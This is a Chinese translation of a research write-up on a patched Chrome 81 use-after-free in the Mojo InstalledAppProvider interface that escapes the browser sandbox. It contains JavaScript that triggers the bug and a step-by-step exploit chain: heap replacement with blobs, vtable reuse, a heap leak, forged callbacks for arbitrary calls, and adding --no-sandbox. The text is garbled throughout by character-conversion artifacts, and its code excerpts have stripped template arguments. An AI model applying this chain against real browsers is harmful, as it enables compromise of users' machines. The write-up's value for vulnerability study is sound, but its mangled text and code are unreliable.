利用 Mojo IPC 的 UAF 漏洞逃逸 Chrome 瀏覽器沙箱
0x01 分析背景
我的目標(biāo)是使不熟悉Chrome瀏覽器開(kāi)發(fā)的人可以看懂這個(gè)帖子,因此,我將從了解Chrome的安全架構(gòu)和IPC設(shè)計(jì)開(kāi)始。請(qǐng)注意,此部分的所有內(nèi)容也適用于基于Chromium的Edge,默認(rèn)情況下已于2020年1月15日發(fā)布。
Chrome 架構(gòu)
Chrome安全體系結(jié)構(gòu)的關(guān)鍵支柱是沙箱。Chrome將網(wǎng)絡(luò)的大部分攻擊面(例如DOM渲染,腳本執(zhí)行,媒體解碼等)限制為沙盒進(jìn)程。有一個(gè)中央進(jìn)程,稱為瀏覽器進(jìn)程,它不在沙盒中運(yùn)行。這個(gè)圖表,顯示了每個(gè)進(jìn)程中的攻擊面以及它們之間的各種通信通道。
https://docs.google.com/drawings/d/1TuECFL9K7J5q5UePJLC-YH3satvb1RrjLRH-tW_VKeE/edit
除了沙盒功能外,Chrome還實(shí)現(xiàn)了站點(diǎn)隔離,可確保來(lái)自不同來(lái)源的數(shù)據(jù)在不同的沙盒流程中進(jìn)行存儲(chǔ)和處理。這樣做的結(jié)果是,破壞沙盒進(jìn)程甚至不應(yīng)允許攻擊者泄漏用戶瀏覽數(shù)據(jù)的其他來(lái)源。
這種架構(gòu)的結(jié)果是,大多數(shù)Chrome漏洞利用程序都需要兩個(gè)或多個(gè)漏洞:至少一個(gè)要在沙盒進(jìn)程(通常是渲染器進(jìn)程)中執(zhí)行代碼,而至少一個(gè)要逃逸沙盒。
我將要研究的漏洞允許受損的渲染器進(jìn)程逃逸沙箱。
Mojo IPC
Chrome進(jìn)程通過(guò)兩種IPC機(jī)制相互通信:舊版IPC和Mojo。舊版IPC即將淘汰,支持Mojo,并且與該bug的討論無(wú)關(guān),因此我僅關(guān)注Mojo。
引用Mojo文檔,Mojo是運(yùn)行時(shí)庫(kù)的集合,這些運(yùn)行時(shí)庫(kù)提供了與平臺(tái)無(wú)關(guān)的通用IPC原語(yǔ)抽象,消息IDL格式以及具有用于多種目標(biāo)語(yǔ)言的代碼生成功能的綁定庫(kù),以方便跨任意進(jìn)程間和進(jìn)程內(nèi)邊界傳遞方便的消息。
漏洞代碼的Mojo接口定義:
- // Represents a system application related to a particular web app.
- // See: https://www.w3.org/TR/appmanifest/#dfn-application-object
- struct RelatedApplication {
- string platform;
- // TODO(mgiuca): Change to url.mojom.Url (requires changing
- // WebRelatedApplication as well).
- string? url;
- string? id;
- string? version;
- };
- // Mojo service for the getInstalledRelatedApps implementation.
- // The browser process implements this service and receives calls from
- // renderers to resolve calls to navigator.getInstalledRelatedApps().
- interface InstalledAppProvider {
- // Filters |relatedApps|, keeping only those which are both installed on the
- // user's system, and related to the web origin of the requesting page.
- // Also appends the app version to the filtered apps.
- FilterInstalledApps(array related_apps, url.mojom.Url manifest_url)
- => (array installed_apps);
- };
在Chrome構(gòu)建過(guò)程中,此接口定義將轉(zhuǎn)換為每種目標(biāo)語(yǔ)言(例如C ++,Java甚至JavaScript)的接口和代理對(duì)象。這個(gè)特定的接口最初僅在使用Java Mojo綁定的Android上實(shí)現(xiàn),但是最近對(duì)Windows的支持在C ++中實(shí)現(xiàn)。我的利用將使用JavaScript綁定(在受損的渲染器進(jìn)程中運(yùn)行)調(diào)用此C ++實(shí)現(xiàn)(在瀏覽器進(jìn)程中運(yùn)行)。
此接口定義一種方法FilterInstalledApps。默認(rèn)情況下,所有方法都是異步的(有一個(gè)[Sync]屬性可以覆蓋此默認(rèn)值)。在生成的C ++接口中,這意味著該方法采用一個(gè)額外的參數(shù),該參數(shù)是要使用結(jié)果調(diào)用的回調(diào)。在JavaScript中,該函數(shù)將返回一個(gè)Promise。
了解一些Mojo術(shù)語(yǔ)將有助于閱讀本文后面的代碼。請(qǐng)注意,Mojo最近更改了這些名稱,但是尚未遷移所有代碼和文檔,因此我將在必要時(shí)提供兩個(gè)名稱。另外,其中一些類型在Mojo接口上是通用的,但我僅引用InstalledAppProvider的類型。
· A是通過(guò) MessagePipe發(fā)送Mojo消息的通道。消息包括方法調(diào)用及其回復(fù)。
· A Remote
· A PendingReceiver
· A SelfOwnedReceiver
關(guān)于Mojo,還有很多其他可以說(shuō)的,但是對(duì)于這篇文章來(lái)說(shuō),這是沒(méi)有必要的。有關(guān)更多詳細(xì)信息,建議你瀏覽docs。
https://chromium.googlesource.com/chromium/src.git/+/master/mojo/README.md
RenderFrameHost和Frame-Bound
渲染器進(jìn)程中的每個(gè)框架(例如主框架或iframe)都由瀏覽器進(jìn)程中的RenderFrameHost來(lái)支持。請(qǐng)注意,一個(gè)渲染器進(jìn)程可能包含多個(gè)幀,前提是它們都來(lái)自同一原點(diǎn)。瀏覽器提供的許多Mojo界面都是通過(guò)RenderFrameHost獲取的。
在RenderFrameHost初始化期間,BinderMap為每個(gè)暴露的Mojo接口填充一個(gè)回調(diào):
- void PopulateFrameBinders(RenderFrameHostImpl* host,
- service_manager::BinderMap* map) {
- ...
- map->Add(
- base::BindRepeating(&RenderFrameHostImpl::CreateInstalledAppProvider,
- base::Unretained(host)));
- ...
- }
當(dāng)渲染器框架請(qǐng)求接口時(shí),BinderMap中的相應(yīng)回調(diào)將被調(diào)用并傳遞PendingReceiver:
- void RenderFrameHostImpl::CreateInstalledAppProvider(
- mojo::PendingReceiver receiver) {
- InstalledAppProviderImpl::Create(this, std::move(receiver));
- }
- // static
- void InstalledAppProviderImpl::Create(
- RenderFrameHost* host,
- mojo::PendingReceiver receiver) {
- mojo::MakeSelfOwnedReceiver(std::make_unique(host),
- std::move(receiver));
- }
在這種情況下,將創(chuàng)建一個(gè)新對(duì)象InstalledAppProviderImpl,并且將PendingReceiver與SelfOwnedReceiver綁定。
0x02 漏洞分析
如上面描述的那樣,SelfOwnedReceiver保持unique_ptr到InstalledAppProviderImpl,這意味著Impl將保持active,只要底層MessagePipe連接的停留。此外,InstalledAppProviderImpl包含指向RenderFrameHost的原始指針:
- InstalledAppProviderImpl::InstalledAppProviderImpl(
- RenderFrameHost* render_frame_host)
- : render_frame_host_(render_frame_host) {
- DCHECK(render_frame_host_);
- }
FilterInstalledApps調(diào)用該方法時(shí),將在此原始指針上進(jìn)行虛函數(shù)調(diào)用:
- void InstalledAppProviderImpl::FilterInstalledApps(
- std::vector related_apps,
- const GURL& manifest_url,
- FilterInstalledAppsCallback callback) {
- if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) {
- std::move(callback).Run(std::vector());
- return;
- }
- ...
- }
因此,如果RenderFrameHost在釋放之后調(diào)用此方法,則會(huì)發(fā)生UAF的情況。
此提交在Chrome 81.0.4041.0中引入了此漏洞。幾周后,此提交中的bug恰巧移到了命令行flag的后面。但是,此更改是在Chrome 82.0.4065.0中,因此該漏洞利用在Chrome Stable 81的所有桌面平臺(tái)上都是可以實(shí)現(xiàn)的。
0x03 漏洞利用
觸發(fā)漏洞
盡管有可能從純JavaScript觸發(fā)該漏洞,但幾乎可以肯定它不會(huì)被利用。相反,我將通過(guò)啟用MojoJS綁定(--enable-blink-features=MojoJS在Chrome命令行上使用)來(lái)模擬一個(gè)受感染的渲染器進(jìn)程。這些綁定將Mojo平臺(tái)直接暴露給JavaScript,從而使我可以完全繞過(guò)Blink綁定。請(qǐng)注意,可以通過(guò)折衷的渲染器過(guò)程啟用這些綁定,方法是翻轉(zhuǎn)內(nèi)存中的某個(gè)位,然后創(chuàng)建一個(gè)新的JavaScript上下文,因此,我的利用代碼可以輕松地用于bug鏈中。
作為觸發(fā)該漏洞的首次嘗試,我使用了類似漏洞報(bào)告中的方法。這個(gè)想法是讓框架產(chǎn)生幾個(gè)子幀,每個(gè)子幀都將獲取InstalledAppProvider框架的一堆實(shí)例的句柄。子幀filterInstalledApps反復(fù)調(diào)用以阻塞Mojo消息管道。幾秒鐘后,最上面的框架將移除子幀,從而使后面的RenderFrameHosts被釋放。這也會(huì)在InstalledAppProvider MessagePipes 上導(dǎo)致連接漏洞,但是希望直到filterInstalledApps調(diào)用取消引用釋放的指針之后,才會(huì)處理連接漏洞。
https://bugs.chromium.org/p/chromium/issues/detail?id=977462
使用以下腳本創(chuàng)建頁(yè)面:
- function allocate_rfh() {
- var iframe = document.createElement("iframe");
- iframe.src = window.location + "#child"; // designate the child by hash
- document.body.appendChild(iframe);
- return iframe;
- }
- function deallocate_rfh(iframe) {
- document.body.removeChild(iframe);
- }
- if (window.location.hash == "#child") {
- var ptrs = new Array(4096).fill(null).map(() => {
- var pipe = Mojo.createMessagePipe();
- Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
- pipe.handle1);
- return new blink.mojom.InstalledAppProviderPtr(pipe.handle0);
- });
- setTimeout(() => ptrs.map((p) => {
- p.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
- p.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
- }), 2000);
- } else {
- var frames = new Array(4).fill(null).map(() => allocate_rfh());
- setTimeout(() => frames.map((f) => deallocate_rfh(f)), 15000);
- }
- setTimeout(() => window.location.reload(), 16000);
經(jīng)過(guò)幾次刷新,終于找到了漏洞:
- ==8779==ERROR: AddressSanitizer: heap-use-after-free on address 0x620000067080 at pc 0x7f1aafa73589 bp 0x7ffed99af5d0 sp 0x7ffed99af5c8
- READ of size 8 at 0x620000067080 thread T0 (chrome)
為了進(jìn)行利用開(kāi)發(fā),我希望對(duì)何時(shí)觸發(fā)UAF進(jìn)行更多控制。如果我用本機(jī)代碼編寫漏洞利用程序,那么即使釋放了子幀,我也可以使Mojo連接保持active狀態(tài),因?yàn)檫@些幀在同一進(jìn)程中運(yùn)行。但是,理想情況下,我希望保留JavaScript。
很快發(fā)現(xiàn)了MojoJSTest綁定,該綁定為JavaScript提供了一些額外的Mojo功能。我的利用的相關(guān)函數(shù)是MojoInterfaceInterceptor,它能夠攔截Mojo.bindInterface同一進(jìn)程中其他框架的調(diào)用。我可以使用它來(lái)在終結(jié)子幀之前將端點(diǎn)句柄傳遞給父幀。
如下:
- var kPwnInterfaceName = "pwn";
- // runs in the child frame
- function sendPtr() {
- var pipe = Mojo.createMessagePipe();
- // bind the InstalledAppProvider with the child rfh
- Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
- pipe.handle1, "context", true);
- // pass the endpoint handle to the parent frame
- Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
- }
- // runs in the parent frame
- function getFreedPtr() {
- return new Promise(function (resolve, reject) {
- var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
- // intercept bindInterface calls for this process to accept the handle from the child
- let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
- interceptor.oninterfacerequest = function(e) {
- interceptor.stop();
- // bind and return the remote
- var provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);
- freeRFH(frame);
- resolve(provider_ptr);
- }
- interceptor.start();
- });
- }
因此,我現(xiàn)在可以使用getFreedPtr()來(lái)獲得InstalledAppProviderPtr釋放RenderFrameHost。然后call filterInstalledApps立即觸發(fā)UAF。
修改RenderFrameHostImpl
該漏洞會(huì)在freed上調(diào)用虛函數(shù)RenderFrameHost。對(duì)于那些不了解虛函數(shù)調(diào)用的人,這篇文章可能會(huì)有所幫助。為了利用此漏洞,我希望控制釋放的對(duì)象的數(shù)據(jù)。我可以使用通常的策略在瀏覽器過(guò)程中替換釋放的對(duì)象。一句話概述就是:釋放子幀后,我創(chuàng)建了一堆blob(使用Blob API或Mojo綁定),其中包含長(zhǎng)度受控的數(shù)據(jù)sizeof(RenderFrameHostImpl)(Chrome 81.0.4044.69上為0xc38),并且希望我的數(shù)據(jù)最終能夠替換堆中已釋放的對(duì)象。
https://pabloariasal.github.io/2017/06/10/understanding-virtual-tables/
在此漏洞利用成功率還是挺大的。原因是RenderFrameHost的對(duì)象很大,因此在該堆存儲(chǔ)中幾乎沒(méi)有內(nèi)存分配。在我的測(cè)試中,通常我分配的第一個(gè)Blob替換了該對(duì)象,但是為了達(dá)到良好的效果,我做了一些額外的操作。
現(xiàn)在,我面臨一個(gè)問(wèn)題:用什么替換vtable指針?沒(méi)有瀏覽器進(jìn)程中泄漏的堆指針,我無(wú)法將vtable指向我控制的數(shù)據(jù),因此沒(méi)有明顯的方法跳轉(zhuǎn)到任意代碼。
Windows上有一個(gè)ASLR的問(wèn)題:DLL基地址不會(huì)在每次加載時(shí)隨機(jī)化。因此,渲染器進(jìn)程和瀏覽器進(jìn)程之間的所有共享DLL都將在相同的基地址處加載,這包括chrome.dll包含大部分Chrome代碼的120MB二進(jìn)制文件。我的漏洞利用將假設(shè)我擁有此基址,對(duì)于受損的渲染器而言,這是微不足道的。
此DLL 的.rdata部分包含其中定義的每個(gè)虛擬類的vtable,通過(guò)將這些地址用作vtable指針,我可以在完全受控的對(duì)象上調(diào)用任何虛函數(shù)。
利用思路
要在瀏覽器中執(zhí)行完整的代碼,可能需要比其中可用的機(jī)器更多的設(shè)備chrome.dll(例如,來(lái)自kernel32.dll或ntdll.dll的gadget)。例如,我可以使用堆棧視圖表將數(shù)據(jù)放入我的受控?cái)?shù)據(jù)中,并使用ROP分配一些RWX內(nèi)存,復(fù)制shellcode并執(zhí)行它。但是為了使我的漏洞利用簡(jiǎn)單,我可以使用快捷方式。
由于我已經(jīng)有了渲染器漏洞,因此技術(shù)上我需要的是未沙盒化運(yùn)行的渲染器進(jìn)程。幸運(yùn)的是,這要容易得多。chrome中的每個(gè)進(jìn)程都有一個(gè)全局CommandLine對(duì)象,該對(duì)象保存該進(jìn)程的已解析命令行開(kāi)關(guān)。當(dāng)瀏覽器進(jìn)程創(chuàng)建一個(gè)新的子進(jìn)程時(shí),它將某些控制指令從其CommandLine子進(jìn)程傳遞給子進(jìn)程。一個(gè)這樣的指令是--no-sandbox,它的功能是:禁用沙箱。
chrome.dll中有一個(gè)函數(shù)使我可以輕松地將此flag附加到CommandLine對(duì)象:
- void SetCommandLineFlagsForSandboxType(base::CommandLine* command_line,
- SandboxType sandbox_type) {
- switch (sandbox_type) {
- case SandboxType::kNoSandbox:
- command_line->AppendSwitch(switches::kNoSandbox);
- break;
- ...
- }
- }
因此,在我的案例中,逃逸沙箱可以減少為使用正確的參數(shù)調(diào)用此函數(shù)。請(qǐng)注意,這不是虛函數(shù),并且我不知道瀏覽器CommandLine對(duì)象的地址,因此我要做一些額外工作。
避免崩潰
為了構(gòu)建更強(qiáng)大的原語(yǔ),需要反復(fù)觸發(fā)該漏洞。同樣,以上策略要求瀏覽器在利用后仍可繼續(xù)運(yùn)行,另外兩個(gè)虛函數(shù)調(diào)用:
- if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) {
- ...
- }
如果將調(diào)用重定向GetProcess()到其他虛函數(shù),則必須確保它返回一個(gè)可以安全地調(diào)用這兩個(gè)虛擬調(diào)用的指針。幸運(yùn)的是,有一個(gè)簡(jiǎn)單的技巧可以觸發(fā)此漏洞。我可以使第一個(gè)虛擬調(diào)用調(diào)用以下形式的虛函數(shù):
- SomeType* SomeClass::SomeMethod() {
- return &class_member_;
- }
調(diào)用這些函數(shù)之一將返回一個(gè)指針,該指針比render_frame_host_提前一個(gè)小偏移量,因此它仍然指向我的受控?cái)?shù)據(jù)。為了方便起見(jiàn),我選擇了一個(gè)返回指針的指針,該指針比this提前8個(gè)字節(jié),例如
- content::ContentClient* ChromeMainDelegate::CreateContentClient() {
- return &chrome_content_client_;
- }
對(duì)于第二個(gè)虛擬調(diào)用重復(fù)此想法,可以控制最終調(diào)用,而對(duì)其返回值沒(méi)有任何限制。這是一個(gè)流程圖:
泄漏堆數(shù)據(jù)
泄漏堆指針實(shí)際上很容易,我調(diào)用任何將結(jié)果分配并存儲(chǔ)為成員的虛函數(shù):
- SomeClass::SomeMethod() {
- some_member_ = new Foo();
- }
我已經(jīng)用Blob 替換了RenderFrameHost,因此我實(shí)際上可以要求瀏覽器將內(nèi)容發(fā)送回給我!當(dāng)我這樣做時(shí),我可以在其中找到堆指針。
一旦有了堆指針,就可以使用堆噴將受控?cái)?shù)據(jù)放置在可猜測(cè)的地址處。注意:在我的實(shí)際利用中,我使用了一些額外的gadget來(lái)查找原始被釋放對(duì)象RenderFrameHost的精確地址,但這并不是完全必要的。
任意調(diào)用
我希望將任意虛擬調(diào)用轉(zhuǎn)換為對(duì)任何函數(shù)的任意調(diào)用。一個(gè)簡(jiǎn)單的想法是使用堆泄漏將指向目標(biāo)函數(shù)的指針?lè)旁谝阎刹聹y(cè)的)地址上,并將其用作我的vtable指針。這樣可以成功調(diào)用目標(biāo)函數(shù),但是不幸的是參數(shù)仍然不受控制。
為了控制參數(shù),我使用另一種方法?;叵胍幌?,我在目標(biāo)虛擬調(diào)用期間控制了類成員,因此我找到了一個(gè)虛函數(shù)來(lái)調(diào)用回調(diào)類成員,例如
- class FileSystemDispatcher::WriteListener
- : public mojom::blink::FileSystemOperationListener {
- public:
- ...
- void DidWrite(int64_t byte_count, bool complete) override {
- write_callback_.Run(byte_count, complete);
- }
- private:
- ...
- WriteCallback write_callback_;
- };
其中WriteCallback只是特定類型base::Callback的別名:
- using WriteCallback =
- base::RepeatingCallback;
在Chrome中,Callback對(duì)象用于存儲(chǔ)帶有某些綁定參數(shù)的函數(shù)指針。就內(nèi)存布局而言,它們僅包含指向BindState的指針,該指針具有以下布局:
并非所有這些域都對(duì)我都很重要。polymorphic_invoke是指向負(fù)責(zé)functor使用綁定參數(shù)調(diào)用函數(shù)(回調(diào)函數(shù))的指針。顯然polymorphic_invoke必須知道有多少綁定參數(shù)及其類型,因此我選擇一個(gè)調(diào)用程序函數(shù),該函數(shù)根據(jù)需要傳遞盡可能多的args(對(duì)于目標(biāo)函數(shù),這兩個(gè)函數(shù)就足夠了)。然后,使用堆泄漏,BindState使用目標(biāo)函數(shù)和參數(shù)構(gòu)建一個(gè)偽對(duì)象,并將其放置在堆中的已知地址處?,F(xiàn)在,我觸發(fā)UAF來(lái)調(diào)用FileSystemDispatcher::WriteListener::DidWrite和控制BindState回調(diào)的指針。
泄漏CommandLine指針
全局CommandLine對(duì)象是在Chrome初始化期間分配的,而指針則存儲(chǔ)在chrome.dll的.data部分中:
- // The singleton CommandLine representing the current process's command line.
- static CommandLine* current_process_commandline_;
當(dāng)然,有很多方法可以做到這一點(diǎn)。既然已經(jīng)可以調(diào)用任何函數(shù),則只需調(diào)用以下函數(shù)即可將指針復(fù)制到一個(gè)blob中,然后將其讀回。
- static
- void copy64(void* dst, const void* src)
- {
- memmove(dst, src, sizeof(cmsFloat64Number));
- }
利用總結(jié)
使用以上內(nèi)容,完整的利用方法概述:
1. 使用渲染器漏洞來(lái)啟用MojoJS,MojoJSTest綁定并找到chrome.dll的基地址。
2. 觸發(fā)UAF將新分配存儲(chǔ)在Blob中,然后將其讀回以泄漏堆指針。
3. 堆噴BindStateS表示copy64(blob_ptr, current_process_commandline_),觸發(fā)UAF,并讀回命令行的指針。
4. 堆噴BindStateS表示SetCommandLineFlagsForSandboxType(cmd_line, SandboxType::kNoSandbox),并觸發(fā)UAF。
5. 生成新的渲染器過(guò)程(例如,使用iframe到其他受控原點(diǎn))。
6. 再次使用渲染器漏洞利用會(huì)危害渲染器進(jìn)程。
0x04 分析結(jié)論
綜上所述,此bug演示了UAF漏洞利用開(kāi)發(fā)的理想條件。替換釋放的對(duì)象是高度可靠的,因?yàn)樵搶?duì)象位于很少使用的堆存儲(chǔ)中,并且通過(guò)避免競(jìng)爭(zhēng)條件,我可以根據(jù)需要安全地觸發(fā)該漏洞多次。結(jié)果,我能夠?qū)崿F(xiàn)過(guò)程連續(xù)化,這意味著從用戶的角度來(lái)看,瀏覽器將繼續(xù)正常運(yùn)行。此外,由于我僅使用來(lái)自chrome.dll的代碼gadget,該漏洞很容易適應(yīng)其他平臺(tái),特別是Mac OS,而Mac OS也缺少進(jìn)程間庫(kù)隨機(jī)化。
如果你想查看所有詳細(xì)信息,可以在漏洞報(bào)告中找到完整的利用程序。
https://bugs.chromium.org/p/chromium/issues/detail?id=1062091
本文翻譯自:https://theori.io/research/escaping-chrome-sandbox如若轉(zhuǎn)載,請(qǐng)注明原文地址: